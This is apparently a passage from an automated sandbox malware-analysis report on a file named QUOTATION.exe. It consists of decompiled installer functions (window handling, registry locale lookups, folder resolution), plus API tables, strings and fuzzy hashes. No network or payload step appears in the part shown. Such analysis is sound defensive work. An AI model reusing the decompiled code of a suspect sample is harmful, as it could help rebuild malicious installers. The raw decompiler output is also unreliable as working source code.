									if(__eflags != 0) {
										goto L61;
									}
									ShowWindow( *0x422ed8, 8); // executed
									E004040B4(0x405);
									goto L58;
								}
								__eflags =  *0x4237ac - _t134;
								if( *0x4237ac != _t134) {
									goto L61;
								}
								__eflags =  *0x4237a0 - _t134;
								if( *0x4237a0 != _t134) {
									continue;
								}
								goto L61;
							}
						}
						DestroyWindow( *0x422ed8);
						 *0x423708 = _t134;
						EndDialog(_t126,  *0x41f0d8);
						goto L58;
					} else {
						__eflags = _t35 - 1;
						if(_t35 != 1) {
							L33:
							__eflags =  *_t131 - _t134;
							if( *_t131 == _t134) {
								goto L61;
							}
							goto L34;
						}
						_push(0);
						_t87 = E00401389( *((intOrPtr*)(_t131 + 0x10)));
						__eflags = _t87;
						if(_t87 == 0) {
							goto L33;
						}
						SendMessageA( *0x422ed8, 0x40f, 0, 1);
						__eflags =  *0x422ecc - _t134; // 0x0
						return 0 | __eflags == 0x00000000;
					}
				} else {
					_t126 = _a4;
					_t134 = 0;
					if(_t116 == 0x47) {
						SetWindowPos( *0x41fce8, _t126, 0, 0, 0, 0, 0x13);
					}
					if(_t116 == 5) {
						asm("sbb eax, eax");
						ShowWindow( *0x41fce8,  ~(_a12 - 1) & _t116);
					}
					if(_t116 != 0x40d) {
						__eflags = _t116 - 0x11;
						if(_t116 != 0x11) {
							__eflags = _t116 - 0x111;
							if(_t116 != 0x111) {
								L26:
								return E004040CF(_t116, _a12, _a16);
							}
							_t133 = _a12 & 0x0000ffff;
							_t127 = GetDlgItem(_t126, _t133);
							__eflags = _t127 - _t134;
							if(_t127 == _t134) {
								L13:
								__eflags = _t133 - 1;
								if(_t133 != 1) {
									__eflags = _t133 - 3;
									if(_t133 != 3) {
										_t128 = 2;
										__eflags = _t133 - _t128;
										if(_t133 != _t128) {
											L25:
											SendMessageA( *0x422ed8, 0x111, _a12, _a16);
											goto L26;
										}
										__eflags =  *0x4237ac - _t134;
										if( *0x4237ac == _t134) {
											_t100 = E0040140B(3);
											__eflags = _t100;
											if(_t100 != 0) {
												goto L26;
											}
											 *0x41f0d8 = 1;
											L21:
											_push(0x78);
											L22:
											E00404041();
											goto L26;
										}
										E0040140B(_t128);
										 *0x41f0d8 = _t128;
										goto L21;
									}
									__eflags =  *0x4091dc - _t134; // 0x0
									if(__eflags <= 0) {
										goto L25;
									}
									_push(0xffffffff);
									goto L22;
								}
								_push(_t133);
								goto L22;
							}
							SendMessageA(_t127, 0xf3, _t134, _t134);
							_t104 = IsWindowEnabled(_t127);
							__eflags = _t104;
							if(_t104 == 0) {
								goto L61;
							}
							goto L13;
						}
						SetWindowLongA(_t126, _t134, _t134);
						return 1;
					} else {
						DestroyWindow( *0x422ed8);
						 *0x422ed8 = _a12;
						L58:
						if( *0x420d08 == _t134) {
							_t143 =  *0x422ed8 - _t134; // 0x103c2
							if(_t143 != 0) {
								ShowWindow(_t126, 0xa); // executed
								 *0x420d08 = 1;
							}
						}
						L61:
						return 0;
					}
				}
			}

0x00403b9d
0x00403ba6
0x00403ce7
0x00403ceb
0x00403cef
0x00403cf1
0x00403cf6
0x00403d01
0x00403d0c
0x00403d11
0x00403d13
0x00403d15
0x00403d18
0x00403d1d
0x00403d2b
0x00403d38
0x00403d3f
0x00403d3f
0x00403d40
0x00403d40
0x00403d45
0x00403d4b
0x00403d52
0x00403d58
0x00403d5a
0x00403d9a
0x00403d9f
0x00403da4
0x00403da4
0x00403da9
0x00403db2
0x00403db4
0x00403db9
0x00403dbf
0x00403dc3
0x00403dc3
0x00403dc8
0x00403dce
0x00000000
0x00000000
0x00403dd9
0x00403ddf
0x00000000
0x00000000
0x00403de8
0x00403df0
0x00403df5
0x00403df8
0x00403dfe
0x00403e03
0x00403e06
0x00403e0c
0x00403e11
0x00403e14
0x00403e1a
0x00403e22
0x00403e28
0x00403e2e
0x00403e32
0x00403e39
0x00403e39
0x00403e39
0x00403e43
0x00403e55
0x00403e61
0x00403e66
0x00403e70
0x00403e76
0x00403e78
0x00403e7d
0x00403e7a
0x00403e7a
0x00403e7a
0x00403e8d
0x00403ea5
0x00403ea7
0x00403ead
0x00403ec2
0x00403eaf
0x00403eb8
0x00403eba
0x00403eba
0x00403ec8
0x00403ed9
0x00403eea
0x00403ef1
0x00403ef7
0x00403efb
0x00403f00
0x00403f02
0x00000000
0x00403f08
0x00403f08
0x00403f0a
0x00000000
0x00000000
0x00403f10
0x00403f14
0x00403f39
0x00403f3f
0x00403f45
0x00403f47
0x00000000
0x00000000
0x00403f6d
0x00403f73
0x00403f75
0x00403f7a
0x00000000
0x00000000
0x00403f80
0x00403f83
0x00403f86
0x00403f9d
0x00403fa9
0x00403fc2
0x00403fc8
0x00403fcc
0x00403fd1
0x00403fd7
0x00000000
0x00000000
0x00403fe1
0x00403fec
0x00000000
0x00403fec
0x00403f16
0x00403f1c
0x00000000
0x00000000
0x00403f22
0x00403f28
0x00000000
0x00000000
0x00000000
0x00403f2e
0x00403f02
0x00403ff9
0x00404005
0x0040400c
0x00000000
0x00403d5c
0x00403d5c
0x00403d5f
0x00403d92
0x00403d92
0x00403d94
0x00000000
0x00000000
0x00000000
0x00403d94
0x00403d61
0x00403d65
0x00403d6a
0x00403d6c
0x00000000
0x00000000
0x00403d7c
0x00403d84
0x00000000
0x00403d8a
0x00403bb8
0x00403bb8
0x00403bbc
0x00403bc1
0x00403bd0
0x00403bd0
0x00403bd9
0x00403be2
0x00403bed
0x00403bed
0x00403bf9
0x00403c15
0x00403c18
0x00403c2b
0x00403c31
0x00403cd4
0x00000000
0x00403cdd
0x00403c37
0x00403c44
0x00403c46
0x00403c48
0x00403c67
0x00403c67
0x00403c6a
0x00403c6f
0x00403c72
0x00403c82
0x00403c83
0x00403c85
0x00403cbb
0x00403cce
0x00000000
0x00403cce
0x00403c87
0x00403c8d
0x00403ca6
0x00403cab
0x00403cad
0x00000000
0x00000000
0x00403caf
0x00403c9b
0x00403c9b
0x00403c9d
0x00403c9d
0x00000000
0x00403c9d
0x00403c90
0x00403c95
0x00000000
0x00403c95
0x00403c74
0x00403c7a
0x00000000
0x00000000
0x00403c7c
0x00000000
0x00403c7c
0x00403c6c
0x00000000
0x00403c6c
0x00403c52
0x00403c59
0x00403c5f
0x00403c61
0x00000000
0x00000000
0x00000000
0x00403c61
0x00403c1d
0x00000000
0x00403bfb
0x00403c01
0x00403c0b
0x00404012
0x00404018
0x0040401a
0x00404020
0x00404025
0x0040402b
0x0040402b
0x00404020
0x00404035
0x00000000
0x00404035
0x00403bf9

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403BD0
ShowWindow.USER32(?), ref: 00403BED
DestroyWindow.USER32 ref: 00403C01
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403C1D
GetDlgItem.USER32(?,?), ref: 00403C3E
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403C52
IsWindowEnabled.USER32(00000000), ref: 00403C59
GetDlgItem.USER32(?,00000001), ref: 00403D07
GetDlgItem.USER32(?,00000002), ref: 00403D11
SetClassLongA.USER32(?,000000F2,?), ref: 00403D2B
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403D7C
GetDlgItem.USER32(?,00000003), ref: 00403E22
ShowWindow.USER32(00000000,?), ref: 00403E43
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403E55
EnableWindow.USER32(?,?), ref: 00403E70
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403E86
EnableMenuItem.USER32(00000000), ref: 00403E8D
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403EA5
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403EB8
lstrlenA.KERNEL32(Sepad149: Installing,?,Sepad149: Installing,00000000), ref: 00403EE2
SetWindowTextA.USER32(?,Sepad149: Installing), ref: 00403EF1
ShowWindow.USER32(?,0000000A), ref: 00404025

Strings

Sepad149: Installing, xrefs: 00403ED2, 00403ED8, 00403EEF

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: Sepad149: Installing
API String ID: 3282139019-2190826614
Opcode ID: e57483be0e8f0953cc8724a3e8c8ea21599a840bb85b0af5ee6d9011d8646a3c
Instruction ID: ba3e3afbb1df49eb3663f2526bbc67ab17a8ece20d2805bf2467eb782e73bce3
Opcode Fuzzy Hash: e57483be0e8f0953cc8724a3e8c8ea21599a840bb85b0af5ee6d9011d8646a3c
Instruction Fuzzy Hash: FEC1AEB2604205BBDB206F61ED49D2B7A6CFB85706F40443EF641B11F1C779A942EB2E

Uniqueness

Uniqueness Score: -1.00%

Function 004037F7 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E004037F7(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				void _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t17;
				void* _t25;
				void* _t27;
				int _t28;
				void* _t31;
				int _t34;
				int _t35;
				intOrPtr _t36;
				int _t39;
				char _t57;
				CHAR* _t59;
				signed char _t63;
				CHAR* _t74;
				intOrPtr _t76;
				CHAR* _t81;

				_t76 =  *0x423714;
				_t17 = E00406372(2);
				_t84 = _t17;
				if(_t17 == 0) {
					_t74 = 0x41fd08;
					"1033" = 0x30;
					 *0x42a001 = 0x78;
					 *0x42a002 = 0;
					E00405EC1(_t71, __eflags, 0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x41fd08, 0);
					__eflags =  *0x41fd08; // 0x53
					if(__eflags == 0) {
						E00405EC1(_t71, __eflags, 0x80000003, ".DEFAULT\\Control Panel\\International",  &M00407362, 0x41fd08, 0);
					}
					lstrcatA("1033", _t74);
				} else {
					E00405F38("1033",  *_t17() & 0x0000ffff);
				}
				E00403ABC(_t71, _t84);
				_t80 = "C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Ghetto";
				 *0x4237a0 =  *0x42371c & 0x00000020;
				 *0x4237bc = 0x10000;
				if(E00405A60(_t84, "C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Ghetto") != 0) {
					L16:
					if(E00405A60(_t92, _t80) == 0) {
						E00405FFC(0, _t74, _t76, _t80,  *((intOrPtr*)(_t76 + 0x118))); // executed
					}
					_t25 = LoadImageA( *0x423700, 0x67, 1, 0, 0, 0x8040); // executed
					 *0x422ee8 = _t25;
					if( *((intOrPtr*)(_t76 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t27 = E00403ABC(_t71, __eflags);
							__eflags =  *0x4237c0;
							if( *0x4237c0 != 0) {
								_t28 = E004051D3(_t27, 0);
								__eflags = _t28;
								if(_t28 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x422ecc; // 0x0
								if(__eflags == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x41fce8, 5); // executed
							_t34 = E00406304("RichEd20"); // executed
							__eflags = _t34;
							if(_t34 == 0) {
								E00406304("RichEd32");
							}
							_t81 = "RichEdit20A";
							_t35 = GetClassInfoA(0, _t81, 0x422ea0);
							__eflags = _t35;
							if(_t35 == 0) {
								GetClassInfoA(0, "RichEdit", 0x422ea0);
								 *0x422ec4 = _t81;
								RegisterClassA(0x422ea0);
							}
							_t36 =  *0x422ee0; // 0x0
							_t39 = DialogBoxParamA( *0x423700, _t36 + 0x00000069 & 0x0000ffff, 0, E00403B94, 0); // executed
							E00403747(E0040140B(5), 1);
							return _t39;
						}
						L22:
						_t31 = 2;
						return _t31;
					} else {
						_t71 =  *0x423700;
						 *0x422ea4 = E00401000;
						 *0x422eb0 =  *0x423700;
						 *0x422eb4 = _t25;
						 *0x422ec4 = 0x4091f4;
						if(RegisterClassA(0x422ea0) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						SystemParametersInfoA(0x30, 0,  &_v16, 0);
						 *0x41fce8 = CreateWindowExA(0x80, 0x4091f4, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x423700, 0);
						goto L21;
					}
				} else {
					_t71 =  *(_t76 + 0x48);
					_t86 = _t71;
					if(_t71 == 0) {
						goto L16;
					}
					_t74 = 0x4226a0;
					E00405EC1(_t71, _t86,  *((intOrPtr*)(_t76 + 0x44)), _t71,  *((intOrPtr*)(_t76 + 0x4c)) +  *0x423758, 0x4226a0, 0);
					_t57 =  *0x4226a0; // 0x43
					if(_t57 == 0) {
						goto L16;
					}
					if(_t57 == 0x22) {
						_t74 = 0x4226a1;
						 *((char*)(E0040599D(0x4226a1, 0x22))) = 0;
					}
					_t59 = lstrlenA(_t74) + _t74 - 4;
					if(_t59 <= _t74 || lstrcmpiA(_t59, ?str?) != 0) {
						L15:
						E00405FDA(_t80, E00405972(_t74));
						goto L16;
					} else {
						_t63 = GetFileAttributesA(_t74);
						if(_t63 == 0xffffffff) {
							L14:
							E004059B9(_t74);
							goto L15;
						}
						_t92 = _t63 & 0x00000010;
						if((_t63 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x004037fd
0x00403806
0x0040380d
0x0040380f
0x00403823
0x00403835
0x0040383c
0x00403843
0x00403849
0x0040384e
0x00403854
0x00403867
0x00403867
0x00403872
0x00403811
0x0040381c
0x0040381c
0x00403877
0x00403881
0x0040388a
0x0040388f
0x004038a0
0x00403927
0x0040392f
0x00403938
0x00403938
0x0040394e
0x00403954
0x00403962
0x004039e3
0x004039eb
0x004039f5
0x004039fa
0x00403a00
0x00403a8a
0x00403a8f
0x00403a91
0x00403aad
0x00000000
0x00403aad
0x00403a93
0x00403a99
0x00403aa1
0x00403aa1
0x00000000
0x00403a99
0x00403a0e
0x00403a19
0x00403a1e
0x00403a20
0x00403a27
0x00403a27
0x00403a32
0x00403a3a
0x00403a3c
0x00403a3e
0x00403a47
0x00403a4a
0x00403a50
0x00403a50
0x00403a56
0x00403a6f
0x00403a80
0x00000000
0x00403a85
0x004039ed
0x004039ef
0x00000000
0x00403964
0x00403964
0x00403970
0x0040397a
0x00403980
0x00403985
0x00403994
0x00403ab2
0x00403ab2
0x00000000
0x00403ab2
0x004039a3
0x004039de
0x00000000
0x004039de
0x004038a6
0x004038a6
0x004038a9
0x004038ab
0x00000000
0x00000000
0x004038b5
0x004038c5
0x004038ca
0x004038d1
0x00000000
0x00000000
0x004038d5
0x004038d7
0x004038e4
0x004038e4
0x004038ec
0x004038f2
0x0040391a
0x00403922
0x00000000
0x00403904
0x00403905
0x0040390e
0x00403914
0x00403915
0x00000000
0x00403915
0x00403910
0x00403912
0x00000000
0x00000000
0x00000000
0x00403912
0x004038f2

APIs

Part of subcall function 00406372: GetModuleHandleA.KERNEL32(?,?,?,004032A8,0000000A), ref: 00406384
Part of subcall function 00406372: GetProcAddress.KERNEL32(00000000,?), ref: 0040639F

lstrcatA.KERNEL32(1033,Sepad149: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Sepad149: Installing,00000000,00000002,76B43410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\QUOTATION.exe",00000000), ref: 00403872
lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto,1033,Sepad149: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Sepad149: Installing,00000000,00000002,76B43410), ref: 004038E7
lstrcmpiA.KERNEL32(?,.exe), ref: 004038FA
GetFileAttributesA.KERNEL32(Call), ref: 00403905
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto), ref: 0040394E

Part of subcall function 00405F38: wsprintfA.USER32 ref: 00405F45

RegisterClassA.USER32(00422EA0), ref: 0040398B
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 004039A3
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 004039D8
ShowWindow.USER32(00000005,00000000), ref: 00403A0E
GetClassInfoA.USER32(00000000,RichEdit20A,00422EA0), ref: 00403A3A
GetClassInfoA.USER32(00000000,RichEdit,00422EA0), ref: 00403A47
RegisterClassA.USER32(00422EA0), ref: 00403A50
DialogBoxParamA.USER32(?,00000000,00403B94,00000000), ref: 00403A6F

Strings

RichEd32, xrefs: 00403A22
_Nb, xrefs: 0040396A, 004039D2
1033, xrefs: 00403817, 0040386D
RichEdit, xrefs: 00403A41
RichEdit20A, xrefs: 00403A32, 00403A38
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto, xrefs: 00403881, 00403889, 00403921, 00403927, 00403937
.exe, xrefs: 004038F4
Call, xrefs: 004038B5, 004038BD, 004038CA, 00403914, 0040391A
Control Panel\Desktop\ResourceLocale, xrefs: 0040382B
"C:\Users\user\Desktop\QUOTATION.exe", xrefs: 004037FB
C:\Users\user\AppData\Local\Temp\, xrefs: 004037FC
Sepad149: Installing, xrefs: 00403823, 00403829, 0040384E, 00403857, 0040386C
RichEd20, xrefs: 00403A14
.DEFAULT\Control Panel\International, xrefs: 0040385D

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\QUOTATION.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$Sepad149: Installing$_Nb
API String ID: 1975747703-3312218107
Opcode ID: a2a89361b445a099ea431d97f26b4be8e8633abf330fc856fce069af7e92bfea
Instruction ID: cc9ff768997195dfc6b08b7ed0d0e3ca7810037f4103f2fdd35eeb1d807c43ce
Opcode Fuzzy Hash: a2a89361b445a099ea431d97f26b4be8e8633abf330fc856fce069af7e92bfea
Instruction Fuzzy Hash: 1961C4B07442007EE620AF659D45F2B3AACEB4475AB40447EF941B22E2D7BC9D02DA2D

Uniqueness

Uniqueness Score: -1.00%

Function 00405FFC Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E00405FFC(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				struct _ITEMIDLIST* _v8;
				char _v12;
				signed int _v16;
				signed char _v20;
				signed int _v24;
				signed char _v28;
				signed int _t38;
				CHAR* _t39;
				signed int _t41;
				char _t52;
				char _t53;
				char _t55;
				char _t57;
				void* _t65;
				char* _t66;
				signed int _t80;
				intOrPtr _t86;
				char _t88;
				void* _t89;
				CHAR* _t90;
				void* _t92;
				signed int _t97;
				signed int _t99;
				void* _t100;

				_t92 = __esi;
				_t89 = __edi;
				_t65 = __ebx;
				_t38 = _a8;
				if(_t38 < 0) {
					_t86 =  *0x422edc; // 0x49e62e
					_t38 =  *(_t86 - 4 + _t38 * 4);
				}
				_push(_t65);
				_push(_t92);
				_push(_t89);
				_t66 = _t38 +  *0x423758;
				_t39 = 0x4226a0;
				_t90 = 0x4226a0;
				if(_a4 >= 0x4226a0 && _a4 - 0x4226a0 < 0x800) {
					_t90 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				while(1) {
					_t88 =  *_t66;
					if(_t88 == 0) {
						break;
					}
					__eflags = _t90 - _t39 - 0x400;
					if(_t90 - _t39 >= 0x400) {
						break;
					}
					_t66 = _t66 + 1;
					__eflags = _t88 - 4;
					_a8 = _t66;
					if(__eflags >= 0) {
						if(__eflags != 0) {
							 *_t90 = _t88;
							_t90 =  &(_t90[1]);
							__eflags = _t90;
						} else {
							 *_t90 =  *_t66;
							_t90 =  &(_t90[1]);
							_t66 = _t66 + 1;
						}
						continue;
					}
					_t41 =  *((char*)(_t66 + 1));
					_t80 =  *_t66;
					_t97 = (_t41 & 0x0000007f) << 0x00000007 | _t80 & 0x0000007f;
					_v24 = _t80;
					_v28 = _t80 | 0x00000080;
					_v16 = _t41;
					_v20 = _t41 | 0x00000080;
					_t66 = _a8 + 2;
					__eflags = _t88 - 2;
					if(_t88 != 2) {
						__eflags = _t88 - 3;
						if(_t88 != 3) {
							__eflags = _t88 - 1;
							if(_t88 == 1) {
								__eflags = (_t41 | 0xffffffff) - _t97;
								E00405FFC(_t66, _t90, _t97, _t90, (_t41 | 0xffffffff) - _t97);
							}
							L42:
							_t90 =  &(_t90[lstrlenA(_t90)]);
							_t39 = 0x4226a0;
							continue;
						}
						__eflags = _t97 - 0x1d;
						if(_t97 != 0x1d) {
							__eflags = (_t97 << 0xa) + 0x424000;
							E00405FDA(_t90, (_t97 << 0xa) + 0x424000);
						} else {
							E00405F38(_t90,  *0x423708);
						}
						__eflags = _t97 + 0xffffffeb - 7;
						if(_t97 + 0xffffffeb < 7) {
							L33:
							E00406244(_t90);
						}
						goto L42;
					}
					_t52 =  *0x42370c;
					__eflags = _t52;
					_t99 = 2;
					if(_t52 >= 0) {
						L13:
						_a8 = 1;
						L14:
						__eflags =  *0x4237a4;
						if( *0x4237a4 != 0) {
							_t99 = 4;
						}
						__eflags = _t80;
						if(__eflags >= 0) {
							__eflags = _t80 - 0x25;
							if(_t80 != 0x25) {
								__eflags = _t80 - 0x24;
								if(_t80 == 0x24) {
									GetWindowsDirectoryA(_t90, 0x400);
									_t99 = 0;
								}
								while(1) {
									__eflags = _t99;
									if(_t99 == 0) {
										goto L30;
									}
									_t53 =  *0x423704;
									_t99 = _t99 - 1;
									__eflags = _t53;
									if(_t53 == 0) {
										L26:
										_t55 = SHGetSpecialFolderLocation( *0x423708,  *(_t100 + _t99 * 4 - 0x18),  &_v8);
										__eflags = _t55;
										if(_t55 != 0) {
											L28:
											 *_t90 =  *_t90 & 0x00000000;
											__eflags =  *_t90;
											continue;
										}
										__imp__SHGetPathFromIDListA(_v8, _t90);
										_v12 = _t55;
										__imp__CoTaskMemFree(_v8);
										__eflags = _v12;
										if(_v12 != 0) {
											goto L30;
										}
										goto L28;
									}
									__eflags = _a8;
									if(_a8 == 0) {
										goto L26;
									}
									_t57 =  *_t53( *0x423708,  *(_t100 + _t99 * 4 - 0x18), 0, 0, _t90); // executed
									__eflags = _t57;
									if(_t57 == 0) {
										goto L30;
									}
									goto L26;
								}
								goto L30;
							}
							GetSystemDirectoryA(_t90, 0x400);
							goto L30;
						} else {
							E00405EC1((_t80 & 0x0000003f) +  *0x423758, __eflags, 0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion", (_t80 & 0x0000003f) +  *0x423758, _t90, _t80 & 0x00000040); // executed
							__eflags =  *_t90;
							if( *_t90 != 0) {
								L31:
								__eflags = _v16 - 0x1a;
								if(_v16 == 0x1a) {
									lstrcatA(_t90, "\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L33;
							}
							E00405FFC(_t66, _t90, _t99, _t90, _v16);
							L30:
							__eflags =  *_t90;
							if( *_t90 == 0) {
								goto L33;
							}
							goto L31;
						}
					}
					__eflags = _t52 - 0x5a04;
					if(_t52 == 0x5a04) {
						goto L13;
					}
					__eflags = _v16 - 0x23;
					if(_v16 == 0x23) {
						goto L13;
					}
					__eflags = _v16 - 0x2e;
					if(_v16 == 0x2e) {
						goto L13;
					} else {
						_a8 = _a8 & 0x00000000;
						goto L14;
					}
				}
				 *_t90 =  *_t90 & 0x00000000;
				if(_a4 == 0) {
					return _t39;
				}
				return E00405FDA(_a4, _t39);
			}

0x00405ffc
0x00405ffc
0x00405ffc
0x00406002
0x00406007
0x00406009
0x00406018
0x00406018
0x00406020
0x00406021
0x00406022
0x00406023
0x00406026
0x0040602e
0x00406030
0x00406047
0x0040604a
0x0040604a
0x00406221
0x00406221
0x00406225
0x00000000
0x00000000
0x00406057
0x0040605d
0x00000000
0x00000000
0x00406063
0x00406064
0x00406067
0x0040606a
0x00406214
0x0040621e
0x00406220
0x00406220
0x00406216
0x00406218
0x0040621a
0x0040621b
0x0040621b
0x00000000
0x00406214
0x00406070
0x00406074
0x00406084
0x0040608b
0x0040608e
0x00406096
0x00406099
0x004060a0
0x004060a1
0x004060a4
0x004061c1
0x004061c4
0x004061f4
0x004061f7
0x004061fc
0x00406200
0x00406200
0x00406205
0x0040620b
0x0040620d
0x00000000
0x0040620d
0x004061c6
0x004061c9
0x004061de
0x004061e5
0x004061cb
0x004061d2
0x004061d2
0x004061ed
0x004061f0
0x004061b9
0x004061ba
0x004061ba
0x00000000
0x004061f0
0x004060aa
0x004060b1
0x004060b3
0x004060b4
0x004060ce
0x004060ce
0x004060d5
0x004060d5
0x004060dc
0x004060e0
0x004060e0
0x004060e1
0x004060e3
0x0040611c
0x0040611f
0x0040612f
0x00406132
0x0040613a
0x00406140
0x00406140
0x0040619f
0x0040619f
0x004061a1
0x00000000
0x00000000
0x00406144
0x0040614b
0x0040614c
0x0040614e
0x00406168
0x00406176
0x0040617c
0x0040617e
0x0040619c
0x0040619c
0x0040619c
0x00000000
0x0040619c
0x00406184
0x0040618d
0x00406190
0x00406196
0x0040619a
0x00000000
0x00000000
0x00000000
0x0040619a
0x00406150
0x00406153
0x00000000
0x00000000
0x00406162
0x00406164
0x00406166
0x00000000
0x00000000
0x00000000
0x00406166
0x00000000
0x0040619f
0x00406127
0x00000000
0x004060e5
0x00406100
0x00406105
0x00406108
0x004061a8
0x004061a8
0x004061ac
0x004061b4
0x004061b4
0x00000000
0x004061ac
0x00406112
0x004061a3
0x004061a3
0x004061a6
0x00000000
0x00000000
0x00000000
0x004061a6
0x004060e3
0x004060b6
0x004060ba
0x00000000
0x00000000
0x004060bc
0x004060c0
0x00000000
0x00000000
0x004060c2
0x004060c6
0x00000000
0x004060c8
0x004060c8
0x00000000
0x004060c8
0x004060c6
0x0040622b
0x00406235
0x00406241
0x00406241
0x00000000

APIs

GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 00406127
GetWindowsDirectoryA.KERNEL32(Call,00000400,?,Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll,00000000,00405139,Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll,00000000), ref: 0040613A
SHGetSpecialFolderLocation.SHELL32(00405139,00000000,?,Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll,00000000,00405139,Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll,00000000), ref: 00406176
SHGetPathFromIDListA.SHELL32(00000000,Call), ref: 00406184
CoTaskMemFree.OLE32(00000000), ref: 00406190
lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004061B4
lstrlenA.KERNEL32(Call,?,Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll,00000000,00405139,Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll,00000000,00000000,004168C0,00000000), ref: 00406206

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 004060F6
.I, xrefs: 00406009
Call, xrefs: 00406026, 004060F3, 004060F4, 004060F5, 00406111, 00406126, 00406139, 00406155, 00406180, 004061B3, 004061B9, 004061D1, 004061E4, 004061FF, 00406205, 0040620D, 00406237
Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll, xrefs: 00406021
